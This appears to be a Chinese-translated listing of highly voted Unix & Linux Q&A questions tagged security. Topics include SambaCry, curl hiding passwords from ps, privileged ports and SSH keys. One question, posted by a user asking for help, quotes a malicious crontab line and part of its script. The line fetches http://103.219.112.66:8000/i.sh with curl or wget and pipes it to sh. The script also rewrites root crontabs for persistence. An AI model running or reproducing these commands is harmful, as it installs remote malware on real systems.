标签: security

Linux 系统上的“WannaCry”:你如何保护自己?

根据Rapid7 的一篇文章,有一些易受攻击的Samba版本允许在 Linux 系统上远程执行代码:

虽然WannaCry勒索蠕虫影响了 Windows 系统并且很容易识别,但有明确的修复步骤,但Samba漏洞将影响 Linux 和 Unix 系统,并可能为获得或部署适当的修复带来重大的技术障碍。

CVE-2017-7494

从 3.5.0 开始的所有版本的 Samba 都容易受到远程代码执行漏洞的攻击,恶意客户端可以将共享库上传到可写共享,然后导致服务器加载并执行它。

可能的攻击场景:

从两个因素出发:

  • Samba 漏洞在某些 Linux 发行版上尚未修复
  • 某些 Linux 内核版本(例如 4.8.0-41-generic Ubuntu 内核上的 CVE-2017-7308)存在未打补丁的本地提权漏洞。

攻击者可以访问 Linux 机器并使用本地漏洞提升权限以获得 root 访问权限并安装未来可能出现的 ramsomware,类似于适用于 Linux 的 WannaCry 勒索软件模型 。

更新

最新文章“警告!黑客开始使用“SambaCry 漏洞”来破解 Linux 系统”演示了如何使用 Sambary 漏洞来感染 linux 机器。

该预测结果非常准确,因为卡巴斯基实验室的研究人员团队建立的蜜罐捕获了一个恶意软件活动,该活动利用 SambaCry 漏洞感染带有加密货币挖掘软件的 Linux 计算机。

另一位安全研究员 Omri Ben Bassat? 独立发现了同一个活动并将其命名为“EternalMiner”

据研究人员称,在 Samba …

linux security samba linux-kernel

73
推荐指数
2
解决办法
2万
查看次数

curl 如何防止密码出现在 ps 输出中?

前段时间我注意到curl作为命令行参数提供的用户名和密码没有出现在ps输出中(尽管它们当然可能出现在您的 bash 历史记录中)。

它们同样不会出现在/proc/PID/cmdline.

(不过,可以推导出组合的用户名/密码参数的长度。)

演示如下:

[root@localhost ~]# nc -l 80 &
[1] 3342
[root@localhost ~]# curl -u iamsam:samiam localhost &
[2] 3343
[root@localhost ~]# GET / HTTP/1.1
Authorization: Basic aWFtc2FtOnNhbWlhbQ==
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: localhost
Accept: */*



[1]+  Stopped                 nc -l 80
[root@localhost ~]# jobs
[1]+  Stopped                 nc -l 80
[2]-  Running                 curl -u iamsam:samiam localhost &
[root@localhost ~]# ps -ef | grep curl
root      3343  3258  0 …
Run Code Online (Sandbox Code Playgroud)

security password ps curl arguments

72
推荐指数
2
解决办法
6812
查看次数

为什么重启和关机需要root权限?

要从终端重新启动或关闭 Linux,可以分别使用rebootpoweroff。但是,这两个命令都需要 root 权限。为什么会这样?不要求它具有 root 权限会带来什么安全风险?GUI 为任何用户提供了一种关闭或重新启动的方法,那么为什么终端命令需要以 root 身份运行?

说到 GUI 中的选项,如果终端需要 root 权限来关闭或重新启动 Linux 计算机,那么 GUI 怎么能够在不需要输入密码的情况下提供执行相同操作的选项?

shutdown security root sudo reboot

67
推荐指数
5
解决办法
2万
查看次数

Mutt:如何安全存储密码?

我的 .muttrc 文件看起来像这样,或者看看下面的一瞥。我对密码犹豫不决。我应该如何存储我的密码以使用它mutt

set imap_user = "username@gmail.com"
set imap_pass = "password"

set smtp_url = "smtp://username@smtp.gmail.com:587/"
set smtp_pass = "password"
set from = "username@gmail.com"
set realname = "Your Real Name"
Run Code Online (Sandbox Code Playgroud)

security mutt

66
推荐指数
3
解决办法
4万
查看次数

无法更改root密码的root访问权限?

我们在服务器上遇到了一个小问题。我们希望某些用户应该能够执行 egsudo并成为 root,但有用户不能更改 root 密码的限制。也就是说,保证我们仍然可以登录到该服务器并成为 root,无论其他用户做什么。

那可能吗?

security ubuntu sudo

66
推荐指数
8
解决办法
2万
查看次数

将我的 SSH 公钥用于工作是否安全?

我目前为许多组织远程工作,这些组织需要我定期访问他们的服务器以进行维护和升级。将我的 RSA 公共 SSH 密钥添加到.ssh/authorized_keys文件中以允许我更快地登录/无需查找密码是否安全?我假设不可能从公共密钥生成私钥,但我的假设是否正确?

更进一步,将我的 RSA 公钥内容发布到互联网上会不会有任何安全风险?我知道如果我的私钥被获取,我会遇到很多麻烦,但除此之外,还有什么真正可能的安全威胁吗?

security ssh key-authentication

65
推荐指数
2
解决办法
3万
查看次数

将 /var、/home 移动到单独的分区

阅读本指南后,我试图将一些文件夹(例如/var/home)移动到单独的分区:

3.2.1 选择智能分区方案

我能够按照指南成功移动一个文件夹。

但是,它似乎不适用于多个文件夹,并且我所有的文件夹都被转储到没有正确文件夹的分区中。

我想将/var, /home, 和挂载/tmp到单独的分区上;有人可以指导我吗?

security partition debian fstab

64
推荐指数
3
解决办法
14万
查看次数

为什么前 1024 个端口仅限于 root 用户?

这比什么都更无趣。我的一个朋友问我'在 Linux 下只有 root 可以使用哪个端口范围?我告诉他0-1024被限制了。然后他问我为什么会这样……我不知所措。什么都不知道。

是否有理由限制这些端口而 1025-65535 不受限制?

大多数主要的网络服务(HTTP、FTP、SSH、Telnet、HTTPS、POP、SMTP 等)都在这个范围内,所以我想到了可能的答案:

  • 不受信任的用户可以运行在这些端口上侦听登录详细信息的程序。
  • 不受信任的用户可能会运行未经授权的服务器应用程序。

任何人都可以在这里阐明吗?

networking security root tcp

61
推荐指数
1
解决办法
6万
查看次数

每 15 分钟运行一次“xribfa4”的可疑 crontab 条目

我想在我的 Raspberry Pi 上的根 crontab 文件中添加一些内容,但发现一个对我来说似乎很可疑的条目,在谷歌上搜索它的一部分没有发现任何内容。

Crontab 条目:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
Run Code Online (Sandbox Code Playgroud)

内容为http://103.219.112.66:8000/i.sh

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export …
Run Code Online (Sandbox Code Playgroud)

security cron malware

60
推荐指数
1
解决办法
9529
查看次数

如何识别没有pid的进程?

我有一个监听 2 个端口的进程:45136/tcp 和 37208/udp(实际上我认为它是同一个进程)。但 netstat 不返回任何 pid :

netstat -antlp | grep 45136
tcp        0      0 0.0.0.0:45136           0.0.0.0:*           LISTEN      - 
Run Code Online (Sandbox Code Playgroud)

结果与“grep 37208”相同。

我也试过 lsof :

lsof -i TCP:45136
Run Code Online (Sandbox Code Playgroud)

但它不会返回任何东西。这是squeeze的新安装,我真的不知道这个过程是什么。任何的想法 ?

ANSWER 感谢您的意见,我发现它是什么。我卸载了 nfs-server nfs-common(在 dkpg --get-selections | grep nfs 搜索之后)并且未知进程消失了。奇怪的是,内核进程没有以任何方式标记。

再次感谢你们两位。;)

networking security process

59
推荐指数
2
解决办法
7万
查看次数